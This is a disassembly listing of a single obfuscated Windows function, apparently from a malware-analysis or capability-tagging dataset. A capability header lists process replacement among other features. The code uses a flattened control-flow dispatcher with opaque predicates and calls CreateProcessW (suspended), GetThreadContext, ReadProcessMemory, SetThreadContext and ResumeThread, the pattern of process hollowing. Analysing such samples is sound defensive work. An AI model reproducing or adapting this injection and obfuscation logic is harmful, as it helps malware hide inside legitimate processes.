Function at 0x10009350
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x138
mov eax, dword [0x10074a00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x140], 0xe32f0afd
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x144], eax
sub eax, 0x8009e1df
je 0x1000d76a
jmp 0x1000938c
mov eax, dword [ebp - 0x144]
sub eax, 0x80369716
je 0x10014473
jmp 0x100093a2
mov eax, dword [ebp - 0x144]
sub eax, 0x804de2a8
je 0x10011b5e
jmp 0x100093b8
mov eax, dword [ebp - 0x144]
sub eax, 0x804e7b1d
je 0x10011f7c
jmp 0x100093ce
mov eax, dword [ebp - 0x144]
sub eax, 0x80b292a7
je 0x1000f480
jmp 0x100093e4
mov eax, dword [ebp - 0x144]
sub eax, 0x815bf2eb
je 0x10013904
jmp 0x100093fa
mov eax, dword [ebp - 0x144]
sub eax, 0x816be8e7
je 0x10016bb2
jmp 0x10009410
mov eax, dword [ebp - 0x144]
sub eax, 0x81c85c6c
je 0x10013d67
jmp 0x10009426
mov eax, dword [ebp - 0x144]
sub eax, 0x821b4686
je 0x10013e76
jmp 0x1000943c
mov eax, dword [ebp - 0x144]
sub eax, 0x82b4919d
je 0x10010cae
jmp 0x10009452
mov eax, dword [ebp - 0x144]
sub eax, 0x82ca09c0
je 0x100128d1
jmp 0x10009468
mov eax, dword [ebp - 0x144]
sub eax, 0x82eb9238
je 0x1001651b
jmp 0x1000947e
mov eax, dword [ebp - 0x144]
sub eax, 0x82f7f5bf
je 0x10016aab
jmp 0x10009494
mov eax, dword [ebp - 0x144]
sub eax, 0x82ff3d88
je 0x10014cc5
jmp 0x100094aa
mov eax, dword [ebp - 0x144]
sub eax, 0x8333a9ac
je 0x1001630b
jmp 0x100094c0
mov eax, dword [ebp - 0x144]
sub eax, 0x84784f34
je 0x100169e2
jmp 0x100094d6
mov eax, dword [ebp - 0x144]
sub eax, 0x8499467f
je 0x10011636
jmp 0x100094ec
mov eax, dword [ebp - 0x144]
sub eax, 0x84e30c21
je 0x10012a69
jmp 0x10009502
mov eax, dword [ebp - 0x144]
sub eax, 0x85036e2f
je 0x10016870
jmp 0x10009518
mov eax, dword [ebp - 0x144]
sub eax, 0x85c19882
je 0x10016d59
jmp 0x1000952e
mov eax, dword [ebp - 0x144]
sub eax, 0x86868427
je 0x10011f02
jmp 0x10009544
mov eax, dword [ebp - 0x144]
sub eax, 0x875a9a19
je 0x10012d28
jmp 0x1000955a
mov eax, dword [ebp - 0x144]
sub eax, 0x875e331c
je 0x1000d7a8
jmp 0x10009570
mov eax, dword [ebp - 0x144]
sub eax, 0x876046ff
je 0x100162be
jmp 0x10009586
mov eax, dword [ebp - 0x144]
sub eax, 0x879534f3
je 0x1000ea84
jmp 0x1000959c
mov eax, dword [ebp - 0x144]
sub eax, 0x8803cc1b
je 0x10015f34
jmp 0x100095b2
mov eax, dword [ebp - 0x144]
sub eax, 0x8855572b
je 0x1001167f
jmp 0x100095c8
mov eax, dword [ebp - 0x144]
sub eax, 0x88ab8fc4
je 0x1001083a
jmp 0x100095de
mov eax, dword [ebp - 0x144]
sub eax, 0x88b58876
je 0x1001491a
jmp 0x100095f4
mov eax, dword [ebp - 0x144]
sub eax, 0x88c0a059
je 0x10012880
jmp 0x1000960a
mov eax, dword [ebp - 0x144]
sub eax, 0x89138948
je 0x10013c6c
jmp 0x10009620
mov eax, dword [ebp - 0x144]
sub eax, 0x8962c3cf
je 0x10016f51
jmp 0x10009636
mov eax, dword [ebp - 0x144]
sub eax, 0x8999a4b4
je 0x1001670c
jmp 0x1000964c
mov eax, dword [ebp - 0x144]
sub eax, 0x89fb5cc6
je 0x10012346
jmp 0x10009662
mov eax, dword [ebp - 0x144]
sub eax, 0x8a6e9573
je 0x10012327
jmp 0x10009678
mov eax, dword [ebp - 0x144]
sub eax, 0x8a7a7a39
je 0x1000fcb9
jmp 0x1000968e
mov eax, dword [ebp - 0x144]
sub eax, 0x8a9b9337
je 0x1000e3ad
jmp 0x100096a4
mov eax, dword [ebp - 0x144]
sub eax, 0x8ae44242
je 0x10013595
jmp 0x100096ba
mov eax, dword [ebp - 0x144]
sub eax, 0x8b011e7d
je 0x10010a79
jmp 0x100096d0
mov eax, dword [ebp - 0x144]
sub eax, 0x8b0880e2
je 0x100162af
jmp 0x100096e6
mov eax, dword [ebp - 0x144]
sub eax, 0x8b0e91da
je 0x10012842
jmp 0x100096fc
mov eax, dword [ebp - 0x144]
sub eax, 0x8b320a65
je 0x10011c0a
jmp 0x10009712
mov eax, dword [ebp - 0x144]
sub eax, 0x8c506356
je 0x100154f9
jmp 0x10009728
mov eax, dword [ebp - 0x144]
sub eax, 0x8ca435b7
je 0x1000e663
jmp 0x1000973e
mov eax, dword [ebp - 0x144]
sub eax, 0x8d3dee28
je 0x10012bef
jmp 0x10009754
mov eax, dword [ebp - 0x144]
sub eax, 0x8d4d7b1e
je 0x10016919
jmp 0x1000976a
mov eax, dword [ebp - 0x144]
sub eax, 0x8d5a3c16
je 0x1000eb70
jmp 0x10009780
mov eax, dword [ebp - 0x144]
sub eax, 0x8d613691
je 0x1000edb5
jmp 0x10009796
mov eax, dword [ebp - 0x144]
sub eax, 0x8db02c49
je 0x10010f92
jmp 0x100097ac
mov eax, dword [ebp - 0x144]
sub eax, 0x8e0e73ea
je 0x100119d9
jmp 0x100097c2
mov eax, dword [ebp - 0x144]
sub eax, 0x8e7022a6
je 0x1000d789
jmp 0x100097d8
mov eax, dword [ebp - 0x144]
sub eax, 0x8e74407e
je 0x100140cf
jmp 0x100097ee
mov eax, dword [ebp - 0x144]
sub eax, 0x8f4172f2
je 0x1000e672
jmp 0x10009804
mov eax, dword [ebp - 0x144]
sub eax, 0x8f447a45
je 0x100122bc
jmp 0x1000981a
mov eax, dword [ebp - 0x144]
sub eax, 0x8f886262
je 0x1000e867
jmp 0x10009830
mov eax, dword [ebp - 0x144]
sub eax, 0x9008729c
je 0x1000fd33
jmp 0x10009846
mov eax, dword [ebp - 0x144]
sub eax, 0x9025a63b
je 0x1000e178
jmp 0x1000985c
mov eax, dword [ebp - 0x144]
sub eax, 0x90335c75
je 0x10016007
jmp 0x10009872
mov eax, dword [ebp - 0x144]
sub eax, 0x904b3d54
je 0x10016f79
jmp 0x10009888
mov eax, dword [ebp - 0x144]
sub eax, 0x907d1be6
je 0x1000d650
jmp 0x1000989e
mov eax, dword [ebp - 0x144]
sub eax, 0x90a2c7a9
je 0x100143e5
jmp 0x100098b4
mov eax, dword [ebp - 0x144]
sub eax, 0x90e39ebc
je 0x1000f17d
jmp 0x100098ca
mov eax, dword [ebp - 0x144]
sub eax, 0x90ff5c2e
je 0x10015c27
jmp 0x100098e0
mov eax, dword [ebp - 0x144]
sub eax, 0x93b7c51c
je 0x1000ee2b
jmp 0x100098f6
mov eax, dword [ebp - 0x144]
sub eax, 0x93cb71eb
je 0x1000fa19
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd550900b
mov ecx, 0x669da3d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
movss xmm0, dword [0x100247d4]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x140], 0x8e7022a6
jmp 0x10017059
movss xmm0, dword [0x100247d0]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x140], 0x875e331c
jmp 0x10017059
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
sub edx, 0x7a64a916
sub edx, 1
add edx, 0x7a64a916
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x79618655
mov ecx, 0xde809377
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov dl, 1
mov eax, 0xbd601c88
mov ecx, 0x79345bea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov dword [ebp - 0x140], 0x7b742723
jmp 0x10017059
mov dword [ebp - 0x140], 0x8f4172f2
jmp 0x10017059
movss xmm0, dword [0x10024768]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x140], 0x9e052703
jmp 0x10017059
mov dl, 1
mov eax, 0xf6dde688
mov ecx, 0x32cf4a4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov dl, 1
mov eax, 0xed236be1
mov ecx, 0xbd58bfbc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov dword [ebp - 0x140], 0x969ab47d
jmp 0x10017059
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
mov edx, ecx
sub edx, 0xc6369776
sub edx, 1
add edx, 0xc6369776
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe651864b
mov ecx, 0x93b7c51c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
sub edx, 0x25ffd80f
sub edx, 1
add edx, 0x25ffd80f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe651864b
mov ecx, 0x99ae1452
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
add edx, 0x1071e639
sub edx, 1
sub edx, 0x1071e639
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5875a8ec
mov ecx, 0x42c2b14e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaa7a7df8
mov ecx, 0xb59b12ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov dl, 1
mov eax, 0xf6b48d2d
mov ecx, 0xb51a5003
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov dl, 1
mov eax, 0xe4a448cd
mov ecx, 0x6c09c26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
mov edx, ecx
sub edx, 0xbb3bbf13
sub edx, 1
add edx, 0xbb3bbf13
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x172fd494
mov ecx, 0xdf826446
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov dl, 1
mov eax, 0x5b15b664
mov ecx, 0xec31c8b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov dl, 1
mov eax, 0xecae1c0e
mov ecx, 0x41c9ac14
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
movss xmm0, dword [0x10024694]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x140], 0x4c534fbe
jmp 0x10017059
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa9a8f014
mov ecx, 0x8855572b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
mov edx, ecx
sub edx, 0x7fbd6a7e
sub edx, 1
add edx, 0x7fbd6a7e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa9a8f014
mov ecx, 0x284f792e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
movss xmm0, dword [0x10024664]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x140], 0x73442cd2
jmp 0x10017059
movss xmm0, dword [0x10024658]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x140], 0x5c555dc5
jmp 0x10017059
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa3bfde97
mov ecx, 0x163905d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
movss xmm0, dword [0x10024634]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x10024630]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x140], 0xcce78dd2
jmp 0x10017059
movss xmm0, dword [0x10024628]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x140], 0x29336ec
jmp 0x10017059
mov dword [ebp - 0x140], 0x961809f4
jmp 0x10017059
movss xmm0, dword [0x100245f4]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x140], 0x89fb5cc6
jmp 0x10017059
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xea2ad571
mov ecx, 0xf53b4bb1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
movss xmm0, dword [0x100245e0]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x140], 0x3ff5afaf
jmp 0x10017059
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
sub edx, 0x6820b11a
sub edx, 1
add edx, 0x6820b11a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5bd26448
mov ecx, 0x82ca09c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
mov edx, ecx
add edx, 0xf3cf5d45
sub edx, 1
sub edx, 0xf3cf5d45
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5bd26448
mov ecx, 0x7c07c84a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
mov edx, ecx
sub edx, 0x6b64f49d
sub edx, 1
add edx, 0x6b64f49d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4b2553b8
mov ecx, 0x578384e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd3dd3da5
mov ecx, 0x289a819a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2d7a191d
mov ecx, 0x6aa44bf4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov dword [ebp - 0x140], 0xc0fde843
jmp 0x10017059
mov dword [ebp - 0x140], 0xe2610347
jmp 0x10017059
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd0a4200
mov ecx, 0xdc8247fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
movss xmm0, dword [0x10024568]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x140], 0x40f32b94
jmp 0x10017059
movss xmm0, dword [0x100243bc]
movss dword [ebp - 0x128], xmm0
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
mov edx, eax
add edx, 0xa70458fb
sub edx, 1
sub edx, 0xa70458fb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd13cee71
mov ecx, 0x967c6ae0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov dword [ebp - 0x140], 0x21738565
jmp 0x10017059
movss xmm0, dword [0x100243b4]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x100243b0]
movss dword [ebp - 0x12c], xmm0
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf2ca1047
mov ecx, 0x80369716
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov dword [ebp - 0x140], 0x66bdb983
jmp 0x10017059
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x134]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x13c], eax
mov ecx, dword [0x10075d28]
mov eax, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1ddd700e
mov ecx, 0x9c7f9eac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x99], al
mov dword [ebp - 0x140], 0xcd8df3ab
jmp 0x10017059
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x68]
mov eax, 0x242427f4
mov ecx, 0x1abb42ad
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov dl, byte [ebp - 0x35]
mov eax, 0x63f29fd6
mov ecx, 0x437ce18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x13c]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x140], 0x565a3534
jmp 0x10017059
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [0x10075d28]
mov ecx, dword [0x10075d24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb4ee253a
mov ecx, 0x2337b085
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10017059
mov dword [ebp - 0x140], 0x169e53ca
jmp 0x10017059
movss xmm0, dword [0x100244ec]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x140], 0x12878585
jmp 0x10017059
movss xmm0, dword [0x100244e4]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x100244e0]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x140], 0x94de7373
jmp 0x10017059
movss xmm0, dword [0x1002449c]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x10024498]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x140], 0xb500f1e2
jmp 0x10017059
movss xmm0, dword [0x10024458]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x10024454]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x140], 0xd4407442
jmp 0x10017059
mov dword [ebp - 0x140], 0xa7b38718
jmp 0x10017059
movss xmm0, dword [0x1002441c]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x140], 0x47532eb7
jmp 0x10017059
movss xmm0, dword [0x10024404]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x140], 0xf134d64a
jmp 0x10017059
movss xmm0, dword [0x100243ec]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x100243e8]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x140], 0xc67bb8d6
jmp 0x10017059
movss xmm0, dword [0x100243cc]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x140], 0xc730a0b7
jmp 0x10017059
mov eax, dword [ebp - 0xe4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xec]
xor eax, eax
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x140], 0x9d66eed
jmp 0x10017059
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x140], 0x6ef7b392
jmp 0x10017059
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xa8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x140], 0x2a3b70fb
jmp 0x10017059
jmp 0x10009370